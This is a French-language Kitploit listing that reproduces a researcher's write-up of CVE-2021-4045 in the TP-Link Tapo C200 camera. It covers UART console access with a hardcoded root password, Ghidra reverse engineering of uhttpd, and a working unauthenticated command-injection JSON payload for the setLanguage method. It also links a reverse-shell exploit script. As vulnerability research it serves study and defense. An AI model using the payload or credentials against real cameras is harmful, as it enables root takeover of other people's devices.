Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-4045 — Exploit d'injection de commandes pour la caméra TP-Link Tapo C200 (CVE-2021-4045) offrant un accès root shell via UART et une analyse du binaire uhttpd rétro-conçu. | Kitploit
Outils/GitHubGitHub/kaleth4/cve-2021-4045
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieHacking MatérielTests d'IntrusionCommandement et ContrôleAnalyse de Micrologiciel
GitHubkaleth4/cve-2021-4045

CVE-2021-4045

Exploit d'injection de commandes pour la caméra TP-Link Tapo C200 (CVE-2021-4045) offrant un accès root shell via UART et une analyse du binaire uhttpd rétro-conçu.

il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

🔍 CVE-2021-4045: Vulnérabilité d'injection de commandes dans TP-Link Tapo C200

image

CVE-2021-4045


📌 Résumé

CVE-2021-4045 est une vulnérabilité d'injection de commandes découverte dans la caméra TP-Link Tapo C200, qui permet à un attaquant de prendre le contrôle total de l'appareil avec les privilèges de root. Cette vulnérabilité affecte toutes les versions du firmware antérieures à la 1.1.16 Build 211209 Rel. 37726N.

🔗 Avis officiel de l'INCIBE : https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2021-4045 (Remplacer par le lien réel)

🔧 Solution recommandée : Mettre à jour le firmware vers la version 1.1.16 ou supérieure.



🛠 Reconnaissance initiale

Configuration et caractéristiques de l'appareil

  • Caméra IP économique (~30€) avec fonctions avancées :
    • Enregistrement sur carte SD.
    • Rotation horizontale de 360° et verticale de 90°.
    • Lecture audio en temps réel depuis l'application mobile.

Scan de ports```bash

$ nmap -sV -p- 192.168.1.81

root@kitploit:~
**Résultat** :```
PORT     STATE SERVICE
443/tcp  open  https
554/tcp  open  rtsp
2020/tcp open  xinupageserver
8800/tcp open  sunwebadmin
image Comme vous pouvez le voir, l’appareil a quelques ports ouverts intéressants. La première chose que j’ai essayée était le port 443. Bien que nmap indique clairement qu’il utilise https, lorsque j’ai effectué le scan initial, je l’ai négligé et j’ai passé pas mal de temps à penser que le port 443 utilisait http. À cause de cela, je n’ai essayé que http://192.168.1.81:443 au lieu de https://192.168.1.81:443, donc je n’ai obtenu que des réponses 400. Comme je l’ai dit dans l’introduction, ce processus a été rempli d’erreurs. Quant aux autres ports, les services qui s’exécutaient sur ceux-ci m’étaient totalement inconnus et je n’ai trouvé aucune information claire à leur sujet. À ce moment-là, je n’avais plus d’options connues, il était donc temps de creuser plus en profondeur.

----[ Obtenir un shell ]-------------------------------

Avant d’acheter la caméra, j’ai cherché sur internet des recherches antérieures sur l’appareil et, par chance, j’ai trouvé ce dépôt GitHub où des gens collaboraient pour faire du rétro-ingénierie. L’un des problèmes expliquait comment obtenir un accès à la console via le port UART , quelque chose que je ne connaissais absolument pas à l’époque. J’ai donc appris les bases et j’ai acheté un convertisseur USB-TTL pour me connecter. image Avec l’aide du problème mentionné, j’ai pu ouvrir l’appareil avec un couteau et un tournevis et localiser rapidement l’UART. Après quelques tentatives et beaucoup de patience, j’ai finalement réussi à souder quelques fils aux plots.

image

Ensuite, il était temps de vérifier si la soudure était assez bonne pour la transmission de données. J’ai branché les fils à l’adaptateur USB, en tenant compte que Rx de l’UART va sur Tx de l’adaptateur et vice-versa, et j’ai connecté l’adaptateur à mon ordinateur. Encore une fois, grâce au problème mentionné, je savais que le débit en bauds pour la connexion série était de 57600, donc j’ai exécuté :

$ sudo screen /dev/tty.usbserial-0001 57600

Où '/dev/tty.usbserial-0001' est le port USB auquel l’adaptateur est connecté et qui alimente l’appareil. J’ai immédiatement commencé à recevoir des données, super.

Cependant, je n’avais pas encore accès à la console. Ce que je recevais était simplement la séquence de démarrage de l’appareil, qui était en fait le chargeur de démarrage U-Boot. Cela ressemblait à ceci :

U-Boot 2014.01-v1.2 (Jul 16 2021 - 18:41:10)

Board: IPCAM RTS3903 CPU: 500M :rx5281 prid=0xdc02 force spi nor mode DRAM: 64 MiB @ 1066 MHz Skipping flash_init Flash: 0 Bytes flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB Using default environment

Autobooting in 1 seconds copying flash to 0x81500000 flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB SF: 8388608 bytes @ 0x0 Read: OK

[...]

En appuyant sur Entrée, on nous demande un nom d’utilisateur et un mot de passe. Grâce à ce problème GitHub, nous connaissons les identifiants, donc nous pouvons nous connecter correctement avec l’utilisateur 'root' et le mot de passe 'slprealtek' et, enfin, obtenir un accès à la console.

Une fois que j’ai vérifié que la connexion fonctionnait, j’avais besoin de renforcer la soudure, car elle s’était cassée deux fois pendant le processus de remontage du boîtier. J’ai appliqué de la silicone thermofusible pour sécuriser tous les fils et j’ai refermé l’appareil, en débranchant tous les moteurs. Maintenant, mon unité de test était prête.

image

----[ Exploration de l’appareil ]--------------------------

Maintenant que nous avons un boîtier, explorons l’appareil :

root@SLP:~# uname -a Linux SLP 3.10.27 #1 PREEMPT Wed Nov 11 20:42:05 CST 2020 rlx GNU/Linux

root@SLP:~# cat /etc/openwrt_version 12.09-rc1

Comme nous pouvons le voir, il s’agit d’une machine OpenWRT qui exécute Linux 3.10.27. Vérifions maintenant les processus actifs et les ports ouverts :

root@SLP:~# ps PID USER VSZ STAT COMMAND 1 root 2328 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [kworker/0:0] 5 root 0 SW< [kworker/0:0H] 6 root 0 SW [kworker/u2:0] 7 root 0 SW [rcu_preempt] 8 root 0 SW [rcu_bh] 9 root 0 SW [rcu_sched] 10 root 0 SW< [khelper] 11 root 0 SW< [writeback] 12 root 0 SW< [bioset] 13 root 0 SW< [kblockd] 14 root 0 SW [khubd] 15 root 0 SW [kworker/0:1] 16 root 0 SW [kswapd0] 17 root 0 SW [fsnotify_mark] 18 root 0 SW< [crypto] 27 root 0 SW [kworker/u2:1] 46 root 0 SW< [deferwq] 47 root 0 SW< [kworker/0:1H] 247 root 2328 S -ash 262 root 0 SW [irq/27-gpio res] 273 root 0 SW< [cryptodev_queue] 282 root 860 S /sbin/hotplug2 --override --persistent --set-rules-f 304 root 888 S /sbin/ubusd 325 root 8152 S tp_manage 357 root 3416 S /usr/bin/ledd 361 root 3408 S /sbin/msglogd 367 root 3220 S /usr/sbin/netlinkd 370 root 5468 S < /usr/bin/system_state_audio 379 root 10180 S /usr/sbin/wlan-manager 491 root 1636 S /sbin/netifd 492 root 1520 S /usr/sbin/connModed 494 root 11488 S /usr/bin/dsd 496 root 1532 S /usr/sbin/connModed 502 root 7640 S /bin/cloud-service 520 root 4360 S /bin/cloud-brd -c /var/etc/cloud_brd_conf 653 root 15020 S /bin/cloud-client 830 root 2320 S /usr/sbin/telnetd -b 127.0.0.1 861 root 3852 S /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C 870 root 6048 S /usr/bin/relayd 872 root 5948 S /usr/bin/rtspd 879 root 4612 S /usr/bin/p2pd 884 root 11152 S /bin/dn_switch 889 root 4180 S /bin/storage_manager 920 root 40940 S /bin/cet 956 root 32336 S /bin/vda 960 root 3808 S /bin/wtd 970 root 11288 S /bin/nvid 1019 root 2332 S udhcpc -p /var/run/static-dhcpc.pid -s /lib/netifd/s 1037 root 0 SW [RTW_CMD_THREAD] 1059 root 1212 S wpa_supplicant -B -Dwext -iwlan0 -P/tmp/supplicant_p 1089 root 2332 S /usr/sbin/ntpd -n -p time.nist.gov -p 133.100.9.2 -p 1103 root 3840 S /usr/bin/motord 1447 root 2324 R ps

root@SLP:~# netstat -natpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8800 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:929 0.0.0.0:* LISTEN 875/p2pd tcp 0 0 0.0.0.0:20002 0.0.0.0:* LISTEN 325/tp_manage tcp 0 0 0.0.0.0:2020 0.0.0.0:* LISTEN 969/nvid tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN 832/telnetd tcp 0 0 127.0.0.1:921 0.0.0.0:* LISTEN 878/relayd tcp 0 0 127.0.0.1:922 0.0.0.0:* LISTEN 877/rtspd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 863/uhttpd tcp 0 0 192.168.1.80:37380 52.19.66.90:443 ESTABLISHED 507/cloud-brd udp 0 0 0.0.0.0:20002 0.0.0.0:* 325/tp_manage udp 0 0 0.0.0.0:38000 0.0.0.0:* 1087/ntpd udp 0 0 0.0.0.0:3702 0.0.0.0:* 969/nvid

Nous pouvons voir les processus derrière ces ports ouverts qui apparaissent dans le scan nmap, comme uhttpd ou cet. Je me suis concentré spécifiquement sur le processus uhttpd, car c’est celui qui est derrière le serveur https (qu’à ce moment je croyais encore être http) et j’étais déjà très familier avec les protocoles http.

uhttpd est un serveur web créé par OpenWRT pour être utilisé sur des appareils embarqués exécutant cette distribution. À ce stade, je voulais savoir si je pouvais obtenir plus d’informations à son sujet, comme le code source ou au moins les chemins. J’ai visité le wiki d’OpenWRT et j’ai appris sur uhttpd et OpenWRT en général. Sur les machines OpenWRT, il existe un système appelé Interface de Configuration Unifiée (UCI) , qui est utilisé essentiellement pour configurer facilement les services système. En utilisant cela, nous pouvons obtenir la configuration de uhttpd :

root@SLP:~# uci show | grep uhttpd ucitrack.@uhttpd[0]=uhttpd ucitrack.@uhttpd[0].init=uhttpd uhttpd.main=uhttpd uhttpd.main.listen_https=443 uhttpd.main.home=/ww uhttpd.main.rfc1918_filter=1 uhttpd.main.max_requests=8 uhttpd.main.cert=/tmp/uhttpd.crt uhttpd.main.key=/tmp/uhttpd.key uhttpd.main.cgi_prefix=/cgi-bin uhttpd.main.lua_prefix=/luci uhttpd.main.lua_handler=/usr/lib/lua/luci/sgi/uhttpd.lua uhttpd.main.script_timeout=180 uhttpd.main.network_timeout=180 uhttpd.main.tcp_keepalive=0 uhttpd.px5g=cert uhttpd.px5g.days=3600 uhttpd.px5g.bits=1024 uhttpd.px5g.country=CN uhttpd.px5g.state=China uhttpd.px5g.location=China uhttpd.px5g.commonname=TP-Link upnpc.uhttpd=entry upnpc.uhttpd.proto=TCP upnpc.uhttpd.ext_port=80 upnpc.uhttpd.desc=uhttpd

Voici quelques paramètres intéressants. D’abord, 'uhttpd.main.home' pointe vers le répertoire racine du serveur, donc nous pourrions trouver quelques fichiers du serveur web. Ensuite, 'uhttpd.main.lua_handler' pointe vers le script du gestionnaire Lua qui est utilisé pour initialiser l’environnement d’exécution Lua au démarrage du serveur, car uhttpd supporte les scripts Lua, donc il pourrait y avoir d’autres fichiers intéressants là-bas. Cependant, le répertoire '/www' est vide et il n’y a pas de répertoire 'sgi' dans '/usr/lib/lua/luci' ni le fichier 'uhttpd.lua' sur le système. J’ai essayé de trouver des informations sur le fonctionnement de cette instance de uhttpd, mais je n’ai rien trouvé, seulement des paramètres de configuration qui ne pointent nulle part.

À ce stade, j’ai su que la solution était d’analyser directement le binaire 'uhttpd' et de faire du rétro-ingénierie, mais avant cela, je voulais créer un environnement de test pour savoir ce qui se passait à l’intérieur du serveur web lors de l’envoi de requêtes, car, étant donné la façon dont le processus était créé, il n’y avait aucune sortie nulle part.

J’ai essayé d’exécuter la commande trouvée dans la sortie de la commande ps pour le processus 861 :

$ /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C

Cependant, j’ai obtenu beaucoup d’erreurs et je n’ai pas pu le faire fonctionner. Comme je n’ai pas pu créer le même processus uhttpd sur un port différent, j’ai essayé de chercher la sortie manquante en examinant l’entrée '/proc' du processus, pour essayer de les lire si elles existaient (comme expliqué dans cette vidéo de PwnFunction ). Mais il y avait un gros problème :

root@SLP:~# sudo ls -l /proc/864/fd/ lrwx------ 1 root root 64 Nov 10 22:44 0 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 1 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 2 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 3 -> anon_inode:[eventpoll] lrwx------ 1 root root 64 Nov 10 22:44 4 -> socket:[1830]

Tous les descripteurs de fichier pour 'stdin', 'stdout' et 'stderr' étaient redirigés vers '/dev/null', ce qui les redirige essentiellement vers un trou noir où ils ne peuvent pas être trouvés. J’étais coincé et je ne savais pas quoi faire. Comme j’étais déjà dans l’entrée '/proc', j’ai commencé à fouiller, car je ne me souvenais pas que les entrées '/proc' contenaient autant d’informations sur un processus et j’étais curieux. Grâce à cette curiosité fortuite, je suis tombé sur l’entrée 'environ', qui contient toutes les variables d’environnement pour ce processus. L’une de ces variables d’environnement était :

UHTTPD_ARGS=-h /www -T 180 -A 0 -n 8 -R -r C200 -C /tmp/uhttpd.crt -K /tmp/uhttpd.key -s 443

J’ai immédiatement réalisé que la commande affichée par ps était incorrecte et, par la suite, j’ai découvert que c’était parce que l’interface UART n’avait pas assez de largeur pour afficher tous les caractères. Encore une erreur qui m’a enseigné des leçons importantes : il ne faut jamais se fier à la sortie d’un port UART.

Maintenant, j’ai enfin pu créer une autre instance de uhttpd avec les mêmes paramètres et sans redirection vers '/dev/null' pour tester le binaire tout en faisant du rétro-ingénierie.

----[ Rétro-ingénierie de uhttpd avec Ghidra ]--------

C’était la première fois que j’utilisais Ghidra. J’avais vu quelques vidéos et lu quelques articles à ce sujet (merci à stacksmashing et liveoverflow pour le contenu incroyable et facile à comprendre), mais je ne l’avais jamais vraiment utilisé, donc c’était une très bonne occasion d’apprendre.

J’ai ouvert le binaire uhttpd et, après plusieurs tentatives, j’ai découvert que le langage était MIPS32, little endian, avec mips16e. Certains noms de fonctions venaient par défaut avec le binaire, mais d’autres non. J’ai aussi consacré du temps à renommer des fonctions, car, apparemment, Ghidra se trompe souvent avec les fonctions externes et on obtient des wrappers étranges pour elles, comme :

image J’ai analysé la fonction `main()` et d’autres importantes pour comprendre la logique du binaire et sa structure. J’ai trouvé quelques fonctions intéressantes, déjà identifiées, parmi lesquelles se trouvaient `do_login()` et `uh_slp_proto_request()`. Je parlerai plus de cette dernière plus tard.

Après ce premier contact, j’ai commencé à chercher des bugs. Comme je suis un parfait débutant dans les vulnérabilités de débordement, la première chose que j’ai faite a été de chercher des appels à system(), exec() et popen() pour vérifier s’il existait une vulnérabilité d’injection de commandes que je pourrais facilement exploiter. Et quelle chance j’ai eue.

La fonction 'exec_and_read_json()' utilise 'popen()' pour exécuter des commandes :

exec_and_read_json

La fonction 'exec_and_read_json()' est utilisée par deux fonctions sans nom, que j’ai appelées 'set_language()' et 'wifi_connect()'. Ces fonctions sont responsables respectivement de la configuration de la langue et de la connexion Wi-Fi (évidemment). 'wifi_connect()' semble analyser les guillemets simples ('), tandis que 'set_language()' ne le fait pas. Cela signifie que si nous pouvons contrôler l’entrée de la fonction 'set_language()', nous pouvons injecter nos propres commandes avec succès :

wifi_connect set_language

La fonction 'set_language()' est utilisée par 'uh_slp_proto_request()', la fonction que j’ai mentionnée précédemment, qui passe en entrée des données analysées reçues de l’utilisateur.

main_1 main_2

Pour analyser les données de l’utilisateur, uh_slp_proto_request() vérifie s’il s’agit d’un objet JSON valide. Ensuite, elle obtient une valeur de chaîne identifiée par la clé method et une valeur de dictionnaire identifiée par params (du moins je le pense, car Ghidra n’a pas pu résoudre l’appel de fonction, mais cela semblait fonctionner de cette façon). Selon la méthode sélectionnée, uh_slp_proto_request() sélectionne la fonction à exécuter.

Donc, en envoyant la charge utile suivante :{"method": "setLanguage", "params":{}}

Nous appelons correctement la fonction 'set_language()' et passons '{}' comme paramètre 'language_json'. Ensuite, à l'intérieur de 'set_language()', l'objet 'language_json' est converti en une chaîne de caractères et inséré directement dans "ubus call system_state_audio set_language '%s'" pour son exécution.

Lors de l'envoi de cette charge utile :{"method": "setLanguage", "params": {"payload": "'; touch poc;'"}}

Ce qui suit sera exécuté.

root@kitploit:~
ubus call system_state_audio set_language '{"payload": "'; touch poc;'"}'

Ce qui contient en réalité 3 commandes :

root@kitploit:~
ubus call system_state_audio set_language '{"payload": "'
touch poc
'"}' 

La seconde permet l'exécution complète du code.

Cependant, la fonction 'uh_slp_proto_request()' est utilisée par une autre fonction sans nom qui gère toutes les requêtes, que j'ai nommée 'main_server_function()'. Si une requête est valide (ne dépasse pas la longueur maximale, utilise 'http' ou 'https' selon la configuration du serveur, etc.), 'main_server_function()' vérifie si l'URL contient '/cgi-bin/luci' ou '/web-static'. Si ce n'est pas le cas, 'uh_slp_proto_request()' est appelée.

uh_slp_proto_request_entrypoint

En effectuant un test et en envoyant quelques requêtes à la caméra, nous pouvons vérifier que les données utilisées par 'uh_slp_proto_request()' sont des données POST standard. Par conséquent, si nous envoyons une requête POST à '/' avec la charge utile précédente, 'uh_slp_proto_request()' traitera ces données, appellera 'set_language()' et notre charge utile sera injectée dans la commande exécutée par 'exec_and_get_result()'.

Comme vous pouvez le voir, je n'ai rien mentionné sur l'authentification, car la fonction 'setLanguage()' peut être appelée sans être connecté. Cela permet à n'importe quel utilisateur de prendre le contrôle total de la caméra avec une seule requête sans authentification.

----[ Exploitation ]----------------------------------

Maintenant, il est temps d'écrire l'exploit. J'ai passé du temps à chercher comment obtenir un shell inverse avec netcat. Cela semblait simple, mais je n'arrivais pas à le faire fonctionner. J'ai découvert que la version de netcat installée dans BusyBox est assez limitée en termes de fonctionnalités, donc les shells inverses conventionnels n'étaient pas valides. Cependant, j'ai trouvé ce que je cherchais dans le dépôt PayloadsAllTheThings (comme toujours) et j'ai obtenu le shell inverse parfait. Étant donné que uhttpd s'exécute en tant que root (grâce à TP-Link), nous obtenons un shell avec les privilèges maximaux simplement en envoyant une requête POST malveillante. L'exploit est disponible sur la page GitHub : https://github.com/hacefresko/CVE-2021-4045/blob/master/pwntapo.py image

🚨 Leçon apprise :

  • J'ai confondu https avec http sur le port 443, perdant du temps jusqu'à découvrir l'erreur.
  • Les services sur les ports 2020, 554 et 8800 étaient inconnus, ce qui a nécessité des recherches supplémentaires.

🔓 Obtention d'un shell

Accès à la console via UART

  1. Recherche préalable :
    • J'ai trouvé un dépôt GitHub avec des informations sur le reverse engineering de l'appareil.
    • J'ai appris à utiliser un convertisseur USB vers TTL pour accéder au port UART.
Télécharger l’outil